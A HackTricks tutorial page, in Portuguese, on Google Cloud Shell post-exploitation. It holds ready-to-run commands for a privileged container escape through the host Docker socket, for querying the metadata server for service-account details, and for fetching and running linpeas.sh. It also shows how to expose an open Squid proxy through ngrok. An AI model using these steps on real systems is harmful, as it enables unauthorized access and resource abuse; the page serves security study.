GCP - Cloud Shell Pós Exploração
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cloud Shell
Para mais informações sobre o Cloud Shell, consulte:
Escape de Container
Observe que o Google Cloud Shell é executado dentro de um container, você pode facilmente escapar para o host fazendo:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
Isso não é considerado uma vulnerabilidade pelo Google, mas oferece uma visão mais ampla do que está acontecendo nesse ambiente.
Além disso, observe que a partir do host você pode encontrar um token de conta de serviço:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
Com os seguintes escopos:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
Enumerar metadados com LinPEAS:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
Após usar https://github.com/carlospolop/bf_my_gcp_permissions com o token da Conta de Serviço nenhuma permissão foi descoberta...
Use como Proxy
Se você quiser usar sua instância do google cloud shell como proxy, você precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
sudo apt install -y squid
Crie um arquivo squid.conf com as seguintes configurações:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
copie o arquivo squid.conf para /etc/squid
sudo cp squid.conf /etc/squid
Finalmente, execute o serviço squid:
sudo service squid start
Use ngrok para tornar o proxy disponível externamente:
./ngrok tcp 3128
Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, é sugerido remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http).
Para melhor uso na inicialização, o arquivo .bashrc deve ter as seguintes linhas:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
As instruções foram copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Verifique essa página para outras ideias malucas para executar qualquer tipo de software (bancos de dados e até mesmo Windows) no Cloud Shell.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.